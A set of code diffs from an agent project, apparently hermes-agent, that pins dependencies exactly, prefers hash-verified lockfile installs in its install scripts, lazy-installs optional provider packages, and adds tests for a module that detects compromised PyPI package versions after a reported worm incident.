def gateway_log_message(hits: list[AdvisoryHit]) -> Optional[str]:
"""Return a one-line log message for gateway operators, or None."""
fresh = filter_unacked(hits)
if not fresh:
return None
if len(fresh) == 1:
h = fresh[0]
return (f"Security advisory [{h.advisory.id}] active: "
f"{h.package}=={h.installed_version} matches {h.advisory.title}. "
f"See {h.advisory.url}")
return (f"{len(fresh)} security advisories active "
f"(IDs: {', '.join(h.advisory.id for h in fresh)}). "
f"Run `hermes doctor` on the gateway host for details.")

View file

@ -56,10 +56,22 @@ try:
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
except ImportError:
raise SystemExit(
"Web UI requires fastapi and uvicorn.\n"
f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'"
)
# First try lazy-installing the dashboard extras. Only the user actually
# running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps
# them out of every other install path. After install, re-import.
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("tool.dashboard", prompt=False)
from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel
except Exception:
raise SystemExit(
"Web UI requires fastapi and uvicorn.\n"
f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'"
)
WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist"
_log = logging.getLogger(__name__)

View file

@ -875,6 +875,13 @@ class HindsightMemoryProvider(MemoryProvider):
"Hindsight local runtime is unavailable"
+ (f": {reason}" if reason else "")
)
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("memory.hindsight", prompt=False)
except ImportError:
pass
except Exception as _e:
raise ImportError(str(_e))
from hindsight import HindsightEmbedded
HindsightEmbedded.__del__ = lambda self: None
llm_provider = self._config.get("llm_provider", "")

View file

@ -687,12 +687,28 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho:
"For local instances, set HONCHO_BASE_URL instead."
)
# Lazy-install the honcho SDK on demand. ensure() honors
# security.allow_lazy_installs (default true). On failure we surface
# the original ImportError-shape message so existing callers still get
# the "go run hermes honcho setup" hint they used to.
try:
from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure
_lazy_ensure("memory.honcho", prompt=False)
except ImportError:
# lazy_deps module missing — fall through to the raw import below.
pass
except Exception:
# FeatureUnavailable or unexpected error. Don't crash here; let the
# actual import attempt produce the canonical error message.
pass
try:
from honcho import Honcho
except ImportError:
raise ImportError(
"honcho-ai is required for Honcho integration. "
"Install it with: pip install honcho-ai"
"Install it with: pip install honcho-ai "
"(or run `hermes honcho setup` to configure)."
)
# Allow config.yaml honcho.base_url to override the SDK's environment

View file

@ -11,84 +11,124 @@ requires-python = ">=3.11"
authors = [{ name = "Nous Research" }]
license = { text = "MIT" }
dependencies = [
# Core — pinned to known-good ranges to limit supply chain attack surface
"openai>=2.21.0,<3",
"anthropic>=0.39.0,<1",
"python-dotenv>=1.2.1,<2",
"fire>=0.7.1,<1",
"httpx[socks]>=0.28.1,<1",
"rich>=14.3.3,<15",
"tenacity>=9.1.4,<10",
"pyyaml>=6.0.2,<7",
"ruamel.yaml>=0.18.16,<0.19",
"requests>=2.33.0,<3", # CVE-2026-25645
"jinja2>=3.1.5,<4",
"pydantic>=2.12.5,<3",
# Core — every direct dep is exact-pinned to ==X.Y.Z (no ranges).
# Rationale: ranges allow PyPI to ship a fresh version of a transitive
# at any time without a code review on our side. Exact pins mean the
# only way a new package version reaches a user is via an intentional
# update on our end (bump the pin in this file, regenerate uv.lock).
# This was tightened on 2026-05-12 in response to the Mini Shai-Hulud
# worm hitting mistralai 2.4.6 on PyPI; if that release had been
# captured by `mistralai>=2.3.0,<3` rather than an exact pin, every
# install in the hours before the quarantine would have pulled it.
# See website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md.
#
# When updating: bump the version below AND regenerate uv.lock with
# `uv lock` so the transitive resolution stays consistent. Don't
# introduce ranges back without a written justification.
#
# Scope rule: only packages used by EVERY hermes session belong here.
# Anything that's provider-specific (`anthropic`, `firecrawl-py`,
# `exa-py`, `fal-client`, `edge-tts`, `parallel-web`) belongs in an
# extra and gets lazy-installed via `tools/lazy_deps.py` when the
# user picks that backend. Smaller `dependencies` = smaller blast
# radius for the next supply-chain attack.
"openai==2.24.0",
"python-dotenv==1.2.1",
"fire==0.7.1",
"httpx[socks]==0.28.1",
"rich==14.3.3",
"tenacity==9.1.4",
"pyyaml==6.0.3",
"ruamel.yaml==0.18.17",
"requests==2.33.0", # CVE-2026-25645
"jinja2==3.1.6",
"pydantic==2.12.5",
# Interactive CLI (prompt_toolkit is used directly by cli.py)
"prompt_toolkit>=3.0.52,<4",
# Tools
"exa-py>=2.9.0,<3",
"firecrawl-py>=4.16.0,<5",
"parallel-web>=0.4.2,<1",
"fal-client>=0.13.1,<1",
"prompt_toolkit==3.0.52",
# Cron scheduler (built-in feature — scheduled cron/interval jobs use croniter).
"croniter>=6.0.0,<7",
# Text-to-speech (Edge TTS is free, no API key needed)
"edge-tts>=7.2.7,<8",
"croniter==6.0.0",
# Skills Hub (GitHub App JWT auth — optional, only needed for bot identity)
"PyJWT[crypto]>=2.12.0,<3", # CVE-2026-32597
"PyJWT[crypto]==2.12.1", # CVE-2026-32597
# Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo``
# (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone
# out of the box. ``tzdata`` ships the Olson database as a data package
# Python resolves automatically. No-op on Linux/macOS (which have
# /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24).
"tzdata>=2023.3; sys_platform == 'win32'",
"tzdata==2025.3; sys_platform == 'win32'",
# Cross-platform process / PID management. `psutil` is the canonical
# answer for "is this PID alive" and process-tree walking across Linux,
# macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)`
# (which is a silent killer on Windows — see CONTRIBUTING.md) and
# `os.killpg` (which doesn't exist on Windows).
"psutil>=5.9.0,<8",
"psutil==7.2.2",
]
[project.optional-dependencies]
modal = ["modal>=1.0.0,<2"]
daytona = ["daytona>=0.148.0,<1"]
vercel = ["vercel>=0.5.7,<0.6.0"]
hindsight = ["hindsight-client>=0.4.22"]
dev = ["debugpy>=1.8.0,<2", "pytest>=9.0.2,<10", "pytest-asyncio>=1.3.0,<2", "pytest-xdist>=3.0,<4", "pytest-split>=0.9,<1", "mcp>=1.2.0,<2", "ty>=0.0.1a29,<0.0.22", "ruff"]
messaging = ["python-telegram-bot[webhooks]>=22.6,<23", "discord.py[voice]>=2.7.1,<3", "aiohttp>=3.13.3,<4", "slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4", "qrcode>=7.0,<8"]
# Native Anthropic provider — only needed when provider=anthropic (not via
# OpenRouter or other aggregators).
anthropic = ["anthropic==0.86.0"]
# Web search backends — each only loaded when the user picks it as their
# search provider (configured via `hermes tools` or config.yaml).
exa = ["exa-py==2.10.2"]
firecrawl = ["firecrawl-py==4.17.0"]
parallel-web = ["parallel-web==0.4.2"]
# Image generation backends
fal = ["fal-client==0.13.1"]
# Edge TTS — default TTS provider but still optional (users can pick
# ElevenLabs / OpenAI / MiniMax instead).
edge-tts = ["edge-tts==7.2.7"]
modal = ["modal==1.3.4"]
daytona = ["daytona==0.155.0"]
vercel = ["vercel==0.5.7"]
hindsight = ["hindsight-client==0.6.1"]
dev = ["debugpy==1.8.20", "pytest==9.0.2", "pytest-asyncio==1.3.0", "pytest-xdist==3.8.0", "pytest-split==0.11.0", "mcp==1.26.0", "ty==0.0.21", "ruff==0.15.10"]
messaging = ["python-telegram-bot[webhooks]==22.6", "discord.py[voice]==2.7.1", "aiohttp==3.13.3", "slack-bolt==1.27.0", "slack-sdk==3.40.1", "qrcode==7.4.2"]
cron = [] # croniter is now a core dependency; this extra kept for back-compat
slack = ["slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4"]
matrix = ["mautrix[encryption]>=0.20,<1", "Markdown>=3.6,<4", "aiosqlite>=0.20", "asyncpg>=0.29", "aiohttp-socks>=0.10,<1"]
cli = ["simple-term-menu>=1.0,<2"]
tts-premium = ["elevenlabs>=1.0,<2"]
slack = ["slack-bolt==1.27.0", "slack-sdk==3.40.1"]
matrix = ["mautrix[encryption]==0.21.0", "Markdown==3.10.2", "aiosqlite==0.22.1", "asyncpg==0.31.0", "aiohttp-socks==0.11.0"]
cli = ["simple-term-menu==1.6.6"]
tts-premium = ["elevenlabs==1.59.0"]
voice = [
# Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime),
# so keep it out of the base install for source-build packagers like Homebrew.
"faster-whisper>=1.0.0,<2",
"sounddevice>=0.4.6,<1",
"numpy>=1.24.0,<3",
"faster-whisper==1.2.1",
"sounddevice==0.5.5",
"numpy==2.4.3",
]
pty = [
"ptyprocess>=0.7.0,<1; sys_platform != 'win32'",
"pywinpty>=2.0.0,<3; sys_platform == 'win32'",
"ptyprocess==0.7.0; sys_platform != 'win32'",
"pywinpty==2.0.15; sys_platform == 'win32'",
]
honcho = ["honcho-ai>=2.0.1,<3"]
mcp = ["mcp>=1.2.0,<2"]
homeassistant = ["aiohttp>=3.9.0,<4"]
sms = ["aiohttp>=3.9.0,<4"]
honcho = ["honcho-ai==2.0.1"]
mcp = ["mcp==1.26.0"]
homeassistant = ["aiohttp==3.13.3"]
sms = ["aiohttp==3.13.3"]
# Computer use — macOS background desktop control via cua-driver (MCP stdio).
# The cua-driver binary itself is installed via `hermes tools` post-setup
# (curl install script); this extra just pins the MCP client used to talk
# to it, which is already provided by the `mcp` extra.
computer-use = ["mcp>=1.2.0,<2"]
acp = ["agent-client-protocol>=0.9.0,<1.0"]
mistral = ["mistralai>=2.3.0,<3"]
bedrock = ["boto3>=1.35.0,<2"]
computer-use = ["mcp==1.26.0"]
acp = ["agent-client-protocol==0.9.0"]
# mistral: extra REMOVED 2026-05-12 — `mistralai` PyPI project quarantined
# after malicious 2.4.6 release (Mini Shai-Hulud worm). Every version of
# `mistralai` returns 404 on PyPI right now, so any pin we'd write is
# unresolvable, which breaks `uv lock --check` in CI.
#
# To restore once PyPI un-quarantines:
# 1. Verify the new release is clean (read the changelog, check Socket
# advisory page, confirm no malicious code review findings).
# 2. Add back: mistral = ["mistralai==<verified-version>"]
# 3. Re-enable Mistral in:
# - tools/lazy_deps.py (LAZY_DEPS["tts.mistral"], LAZY_DEPS["stt.mistral"])
# - hermes_cli/tools_config.py (un-hide from provider picker)
# - hermes_cli/web_server.py (re-add to dashboard STT options)
# - tools/transcription_tools.py / tools/tts_tool.py (drop disabled stubs)
# 4. Run `uv lock` to regenerate transitives.
# 5. Optionally re-add to [all] only after a few days of clean operation.
bedrock = ["boto3==1.42.89"]
termux = [
# Baseline Android / Termux path for reliable fresh installs.
"python-telegram-bot[webhooks]>=22.6,<23",
"python-telegram-bot[webhooks]==22.6",
"hermes-agent[cron]",
"hermes-agent[cli]",
"hermes-agent[pty]",
@ -120,35 +160,41 @@ termux-all = [
"hermes-agent[sms]",
"hermes-agent[web]",
]
dingtalk = ["dingtalk-stream>=0.20,<1", "alibabacloud-dingtalk>=2.0.0", "qrcode>=7.0,<8"]
feishu = ["lark-oapi>=1.5.3,<2", "qrcode>=7.0,<8"]
dingtalk = ["dingtalk-stream==0.24.3", "alibabacloud-dingtalk==2.2.42", "qrcode==7.4.2"]
feishu = ["lark-oapi==1.5.3", "qrcode==7.4.2"]
google = [
# Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts,
# Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with
# the [all] extra and users don't hit runtime `pip install` paths that fail
# in environments without pip (e.g. Nix-managed Python).
"google-api-python-client>=2.100,<3",
"google-auth-oauthlib>=1.0,<2",
"google-auth-httplib2>=0.2,<1",
"google-api-python-client==2.194.0",
"google-auth-oauthlib==1.3.1",
"google-auth-httplib2==0.3.1",
]
youtube = [
# Required by skills/media/youtube-content and
# optional-skills/productivity/memento-flashcards (youtube_quiz.py).
# Without this declaration uv sync omits the package and both skills fail
# at first invocation with ModuleNotFoundError (issue #22243).
"youtube-transcript-api>=1.2.0",
"youtube-transcript-api==1.2.4",
]
# `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean.
web = ["fastapi>=0.104.0,<1", "uvicorn[standard]>=0.24.0,<1"]
web = ["fastapi==0.133.1", "uvicorn[standard]==0.41.0"]
rl = [
"atroposlib @ git+https://github.com/NousResearch/atropos.git@c20c85256e5a45ad31edf8b7276e9c5ee1995a30",
"tinker @ git+https://github.com/thinking-machines-lab/tinker.git@30517b667f18a3dfb7ef33fb56cf686d5820ba2b",
"fastapi>=0.104.0,<1",
"uvicorn[standard]>=0.24.0,<1",
"wandb>=0.15.0,<1",
"fastapi==0.133.1",
"uvicorn[standard]==0.41.0",
"wandb==0.25.1",
]
yc-bench = ["yc-bench @ git+https://github.com/collinear-ai/yc-bench.git@bfb0c88062450f46341bd9a5298903fc2e952a5c ; python_version >= '3.12'"]
all = [
"hermes-agent[anthropic]",
"hermes-agent[exa]",
"hermes-agent[firecrawl]",
"hermes-agent[parallel-web]",
"hermes-agent[fal]",
"hermes-agent[edge-tts]",
"hermes-agent[modal]",
"hermes-agent[daytona]",
"hermes-agent[vercel]",

View file

@ -793,30 +793,87 @@ function Install-Dependencies {
# Tell uv to install into our venv (no activation needed)
$env:VIRTUAL_ENV = "$InstallDir\venv"
}
# Hash-verified install (Tier 0) — when uv.lock is present, prefer
# `uv sync --locked`. The lockfile records SHA256 hashes for every
# transitive dependency, so a compromised transitive (different hash
# than what we shipped) is REJECTED by the resolver. This is the
# *only* path that protects against the "direct dep is fine, but the
# dep's dep got worm-poisoned overnight" failure mode. The
# `uv pip install` tiers below re-resolve transitives fresh from PyPI
# without any hash verification — they exist to keep installs working
# when the lockfile is stale, missing, or out-of-sync with the
# current extras spec, NOT because they're equivalent in posture.
if (Test-Path "uv.lock") {
Write-Info "Trying tier: hash-verified (uv.lock) ..."
& $UvCmd sync --all-extras --locked
if ($LASTEXITCODE -eq 0) {
Write-Success "Main package installed (hash-verified via uv.lock)"
$script:InstalledTier = "hash-verified (uv.lock)"
# Skip the rest of the tiered cascade — we already have a
# complete, hash-verified install.
$skipPipFallback = $true
} else {
Write-Warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..."
$skipPipFallback = $false
}
} else {
Write-Info "uv.lock not found — falling back to PyPI resolve (no hash verification)"
$skipPipFallback = $false
}
# Install main package. Tiered fallback so a single flaky git+https dep
# (atroposlib / tinker in the [rl] extra) doesn't silently drop
# dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is
# preserved — no Out-Null swallowing — so the user can see what failed.
#
# Tier 1: [all] — everything, including RL git+https deps (best case).
# Tier 2: [core-extras] synthesised locally — all PyPI-only extras we
# ship (web, mcp, cron, cli, voice, messaging, slack, dev, acp,
# pty, homeassistant, sms, tts-premium, honcho, google, mistral,
# bedrock, dingtalk, feishu, modal, daytona, vercel). Drops [rl]
# and [matrix] (linux-only) which are the usual failure culprits.
# Tier 3: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly
# Tier 2: [all] minus a small list of currently-broken extras. The
# broken list is centralised in $brokenExtras below — when
# a package gets quarantined / yanked / pulled, add it here
# and the resolver no longer chokes on it. This is what saves
# the user from silently losing 10+ unrelated extras every
# time one upstream package breaks.
# Tier 3: [core-extras] synthesised locally — all PyPI-only extras we
# ship, also minus $brokenExtras. Drops [rl] and [matrix]
# (linux-only) which are the usual failure culprits.
# Tier 4: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly
# believe a user expects `hermes dashboard` / slash commands /
# cron / messaging platforms to work out of the box.
# Tier 4: bare `.` — last-resort so at least the core CLI launches.
# Tier 5: bare `.` — last-resort so at least the core CLI launches.
# Currently-broken extras. Edit this list when an upstream package
# gets quarantined / yanked / breaks resolution. Empty means everything
# in [all] should be installable; populate with the names of extras
# whose deps are temporarily unavailable to keep installs working
# for users.
$brokenExtras = @()
$allExtras = @(
"modal","daytona","vercel","messaging","matrix","cron","cli","dev",
"tts-premium","slack","pty","honcho","mcp","homeassistant","sms",
"acp","voice","dingtalk","feishu","google","bedrock","web",
"youtube"
)
$pypiExtras = @(
"web","mcp","cron","cli","voice","messaging","slack","dev","acp",
"pty","homeassistant","sms","tts-premium","honcho","google",
"bedrock","dingtalk","feishu","modal","daytona","vercel","youtube"
)
$safeAll = ($allExtras | Where-Object { $brokenExtras -notcontains $_ }) -join ","
$safePypi = ($pypiExtras | Where-Object { $brokenExtras -notcontains $_ }) -join ","
$brokenLabel = if ($brokenExtras) { ($brokenExtras -join ", ") } else { "none" }
$installTiers = @(
@{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" },
@{ Name = "PyPI-only extras (no git deps)"; Spec = ".[web,mcp,cron,cli,voice,messaging,slack,dev,acp,pty,homeassistant,sms,tts-premium,honcho,google,mistral,bedrock,dingtalk,feishu,modal,daytona,vercel]" },
@{ Name = "all minus known-broken ($brokenLabel)"; Spec = ".[$safeAll]" },
@{ Name = "PyPI-only extras (no git deps)"; Spec = ".[$safePypi]" },
@{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" },
@{ Name = "core only (no extras)"; Spec = "." }
)
$installed = $false
foreach ($tier in $installTiers) {
$installed = $skipPipFallback
if (-not $skipPipFallback) {
foreach ($tier in $installTiers) {
Write-Info "Trying tier: $($tier.Name) ..."
& $UvCmd pip install -e $tier.Spec
if ($LASTEXITCODE -eq 0) {
@ -826,6 +883,7 @@ function Install-Dependencies {
break
}
Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..."
}
}
if (-not $installed) {
throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above."

View file

@ -1060,20 +1060,124 @@ install_deps() {
fi
# Install the main package in editable mode with all extras.
# Try [all] first, fall back to base install if extras have issues.
ALL_INSTALL_LOG=$(mktemp)
if ! $UV_CMD pip install -e ".[all]" 2>"$ALL_INSTALL_LOG"; then
log_warn "Full install (.[all]) failed, trying base install..."
log_info "Reason: $(tail -5 "$ALL_INSTALL_LOG" | head -3)"
rm -f "$ALL_INSTALL_LOG"
if ! $UV_CMD pip install -e "."; then
log_error "Package installation failed."
log_info "Check that build tools are installed: sudo apt install build-essential python3-dev"
log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'"
exit 1
#
# Hash-verified install (Tier 0) — when uv.lock is present, prefer
# `uv sync --locked`. The lockfile records SHA256 hashes for every
# transitive, so a compromised transitive (different hash than what
# we shipped) is REJECTED by the resolver. This is the *only* path
# that protects against the "direct dep is fine, but the dep's dep
# got worm-poisoned overnight" failure mode. All `uv pip install`
# tiers below re-resolve transitives fresh from PyPI without any
# hash verification — they exist to keep installs working when the
# lockfile is stale, missing, or out-of-sync with the current
# extras spec, NOT because they're equivalent in posture.
if [ -f "uv.lock" ]; then
log_info "Trying tier: hash-verified (uv.lock) ..."
if UV_PROJECT_ENVIRONMENT="$INSTALL_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$(mktemp)"; then
log_success "Main package installed (hash-verified via uv.lock)"
log_success "All dependencies installed"
return 0
fi
log_warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..."
else
rm -f "$ALL_INSTALL_LOG"
log_info "uv.lock not found — falling back to PyPI resolve (no hash verification)"
fi
# Multi-tier fallback. The point of the tiers is that ONE compromised
# PyPI package (a worm-poisoned release that gets quarantined, like
# mistralai 2.4.6 in May 2026) shouldn't be able to silently demote a
# fresh install all the way down to "core only" — the user should keep
# everything else they signed up for.
#
# Tier 1: [all] — everything, including RL git+https deps (best case).
# Tier 2: [all] minus the currently-broken extras list. Edit
# _BROKEN_EXTRAS below when something on PyPI breaks; this lets
# users keep voice/honcho/google/slack/matrix/etc. even when
# one transitive is unavailable. List the extras here as bare
# names from pyproject.toml [project.optional-dependencies] —
# the script translates them to `[a,b,c]` form below.
# Tier 3: PyPI-only extras (no git deps) — drops [rl] / [yc-bench]
# which are git+https and may fail in restricted networks.
# Tier 4: dashboard + core platforms — minimum viable interactive set.
# Tier 5: bare `.` — last-resort so at least the core CLI launches.
#
# Each tier's stderr is captured to a tempfile so we can show the user
# WHY the higher tier failed instead of silently dropping support.
local _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable
local _ALL_EXTRAS=(
modal daytona vercel messaging matrix cron cli dev tts-premium slack
pty honcho mcp homeassistant sms acp voice dingtalk feishu google
bedrock web youtube
)
# Tier 2: all extras minus _BROKEN_EXTRAS
local _SAFE_EXTRAS=()
local _e _b _skip
for _e in "${_ALL_EXTRAS[@]}"; do
_skip=false
for _b in "${_BROKEN_EXTRAS[@]}"; do
if [ "$_e" = "$_b" ]; then _skip=true; break; fi
done
if [ "$_skip" = false ]; then _SAFE_EXTRAS+=("$_e"); fi
done
local _SAFE_SPEC
_SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]"
# Tier 3: PyPI-only extras (no git deps), still skipping broken ones.
# Mirrors the install.ps1 list but excludes [rl] / [yc-bench] / [matrix]
# (matrix needs python-olm which fails to build on some hosts).
local _PYPI_EXTRAS=(
web mcp cron cli voice messaging slack dev acp pty homeassistant sms
tts-premium honcho google bedrock dingtalk feishu modal daytona vercel
youtube
)
local _PYPI_SAFE=()
for _e in "${_PYPI_EXTRAS[@]}"; do
_skip=false
for _b in "${_BROKEN_EXTRAS[@]}"; do
if [ "$_e" = "$_b" ]; then _skip=true; break; fi
done
if [ "$_skip" = false ]; then _PYPI_SAFE+=("$_e"); fi
done
local _PYPI_SPEC
_PYPI_SPEC=".[$(IFS=,; echo "${_PYPI_SAFE[*]}")]"
local _TIER4_SPEC=".[web,mcp,cron,cli,messaging,dev]"
ALL_INSTALL_LOG=$(mktemp)
local _installed=false
local _tier_name=""
install_tier() {
local name="$1"; local spec="$2"
log_info "Trying tier: $name ..."
if $UV_CMD pip install -e "$spec" 2>"$ALL_INSTALL_LOG"; then
log_success "Main package installed ($name)"
_installed=true
_tier_name="$name"
return 0
fi
log_warn "Tier '$name' failed. Top of pip output:"
head -5 "$ALL_INSTALL_LOG" | sed 's/^/ /' >&2
return 1
}
install_tier "all (with RL/matrix extras)" ".[all]" \
|| install_tier "all minus known-broken (${_BROKEN_EXTRAS[*]:-none})" "$_SAFE_SPEC" \
|| install_tier "PyPI-only extras (no git deps)" "$_PYPI_SPEC" \
|| install_tier "dashboard + core platforms" "$_TIER4_SPEC" \
|| install_tier "core only (no extras)" "."
rm -f "$ALL_INSTALL_LOG"
if [ "$_installed" = false ]; then
log_error "Package installation failed even with no extras."
log_info "Check that build tools are installed: sudo apt install build-essential python3-dev"
log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'"
exit 1
fi
if [ "$_tier_name" != "all (with RL/matrix extras)" ]; then
log_warn "Note: installed via fallback tier ($_tier_name)."
log_info "Some optional features may be missing. After resolving any"
log_info "PyPI/network issue, re-run: $UV_CMD pip install -e '.[all]'"
fi
log_success "Main package installed"

View file

@ -183,17 +183,57 @@ if is_termux; then
else
# Prefer uv sync with lockfile (hash-verified installs) when available,
# fall back to pip install for compatibility or when lockfile is stale.
#
# Multi-tier pip fallback. Goal: ONE compromised PyPI package
# (mistralai 2.4.6 in May 2026 → quarantined) shouldn't silently demote
# a fresh setup to "core only". Edit _BROKEN_EXTRAS when a transitive
# breaks; users keep voice / honcho / google / slack / matrix etc. even
# if mistral can't resolve.
_BROKEN_EXTRAS=() # populate when an extra becomes unresolvable
_ALL_EXTRAS=(
modal daytona vercel messaging matrix cron cli dev tts-premium slack
pty honcho mcp homeassistant sms acp voice dingtalk feishu google
bedrock web youtube
)
_SAFE_EXTRAS=()
for _e in "${_ALL_EXTRAS[@]}"; do
_skip=false
for _b in "${_BROKEN_EXTRAS[@]}"; do
[ "$_e" = "$_b" ] && _skip=true && break
done
[ "$_skip" = false ] && _SAFE_EXTRAS+=("$_e")
done
_SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]"
_try_install() {
$UV_CMD pip install -e ".[all]" \
|| $UV_CMD pip install -e "$_SAFE_SPEC" \
|| $UV_CMD pip install -e "."
}
if [ -f "uv.lock" ]; then
# Hash-verified install (preferred). The lockfile records SHA256
# hashes for every transitive — a compromised transitive would have
# a different hash and be REJECTED by uv. This is the only path
# that protects against transitive-package supply-chain attacks
# (the direct deps in pyproject.toml are exact-pinned, but
# `uv pip install` re-resolves transitives fresh from PyPI).
echo -e "${CYAN}${NC} Using uv.lock for hash-verified installation..."
UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>/dev/null && \
echo -e "${GREEN}${NC} Dependencies installed (lockfile verified)" || {
echo -e "${YELLOW}${NC} Lockfile install failed (may be outdated), falling back to pip install..."
$UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "."
echo -e "${GREEN}${NC} Dependencies installed"
}
_UV_SYNC_LOG=$(mktemp)
if UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$_UV_SYNC_LOG"; then
echo -e "${GREEN}${NC} Dependencies installed (hash-verified via uv.lock)"
rm -f "$_UV_SYNC_LOG"
else
echo -e "${YELLOW}${NC} Lockfile sync failed (lockfile may be stale)."
echo -e "${YELLOW}${NC} Falling back to PyPI resolve — transitives will NOT be hash-verified."
head -5 "$_UV_SYNC_LOG" | sed 's/^/ /'
rm -f "$_UV_SYNC_LOG"
_try_install
echo -e "${GREEN}${NC} Dependencies installed (transitives re-resolved, not hash-verified)"
fi
else
$UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "."
echo -e "${GREEN}${NC} Dependencies installed"
echo -e "${YELLOW}${NC} uv.lock not found — installing without hash verification of transitives."
_try_install
echo -e "${GREEN}${NC} Dependencies installed (transitives re-resolved, not hash-verified)"
fi
fi

View file

@ -0,0 +1,330 @@
"""Tests for hermes_cli.security_advisories.
The advisory module is the user-facing detection / remediation surface
for supply-chain attacks (e.g. the Mini Shai-Hulud worm of May 2026 that
poisoned mistralai 2.4.6 on PyPI). These tests exercise the public API in
isolation no real package metadata, no real config, no real cache.
"""
from __future__ import annotations
import time
from pathlib import Path
from typing import Iterator
import pytest
import hermes_cli.security_advisories as adv
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
@pytest.fixture
def fake_advisory() -> adv.Advisory:
"""A self-contained Advisory used across tests."""
return adv.Advisory(
id="test-advisory-2026-99",
title="Test advisory",
summary="Pretend this package has been compromised.",
url="https://example.com/advisory",
compromised=(
("fake-malicious-pkg", frozenset({"6.6.6"})),
),
remediation=(
"pip uninstall -y fake-malicious-pkg",
"Rotate any credentials that may have been exposed.",
),
published="2026-01-01",
severity="critical",
)
@pytest.fixture
def isolated_home(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
"""Redirect HERMES_HOME so banner cache and config writes are sandboxed."""
home = tmp_path / ".hermes"
home.mkdir()
(home / "cache").mkdir()
monkeypatch.setattr(Path, "home", lambda: tmp_path)
monkeypatch.setenv("HERMES_HOME", str(home))
return home
@pytest.fixture
def patched_version(monkeypatch: pytest.MonkeyPatch) -> Iterator[dict[str, str]]:
"""Override _installed_version with a controllable lookup table."""
table: dict[str, str] = {}
monkeypatch.setattr(adv, "_installed_version", lambda pkg: table.get(pkg))
yield table
# ---------------------------------------------------------------------------
# detect_compromised
# ---------------------------------------------------------------------------
class TestDetectCompromised:
def test_no_match_returns_empty_list(self, fake_advisory, patched_version):
# No matching package installed.
hits = adv.detect_compromised(advisories=[fake_advisory])
assert hits == []
def test_exact_version_match(self, fake_advisory, patched_version):
patched_version["fake-malicious-pkg"] = "6.6.6"
hits = adv.detect_compromised(advisories=[fake_advisory])
assert len(hits) == 1
assert hits[0].advisory.id == fake_advisory.id
assert hits[0].package == "fake-malicious-pkg"
assert hits[0].installed_version == "6.6.6"
def test_safe_version_does_not_match(self, fake_advisory, patched_version):
# Package is installed but the version is not in the compromised set.
patched_version["fake-malicious-pkg"] = "6.6.5"
hits = adv.detect_compromised(advisories=[fake_advisory])
assert hits == []
def test_empty_compromised_set_matches_any_version(
self, patched_version
):
# An advisory with an empty version set is a "any version is suspect"
# wildcard — used when an entire maintainer namespace is owned.
wildcard = adv.Advisory(
id="wildcard",
title="Whole namespace owned",
summary="x",
url="x",
compromised=(("evil-namespace", frozenset()),),
remediation=("uninstall it",),
)
patched_version["evil-namespace"] = "0.0.1"
hits = adv.detect_compromised(advisories=[wildcard])
assert len(hits) == 1
assert hits[0].installed_version == "0.0.1"
# ---------------------------------------------------------------------------
# Acknowledgement persistence
# ---------------------------------------------------------------------------
class TestAck:
def test_get_acked_ids_empty_when_no_config(self, monkeypatch):
# load_config raises → returns empty set, doesn't crash.
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: (_ for _ in ()).throw(RuntimeError("boom")),
)
assert adv.get_acked_ids() == set()
def test_filter_unacked_strips_dismissed(self, fake_advisory, monkeypatch):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
assert adv.filter_unacked([hit]) == []
def test_filter_unacked_passes_through_unknown(
self, fake_advisory, monkeypatch
):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
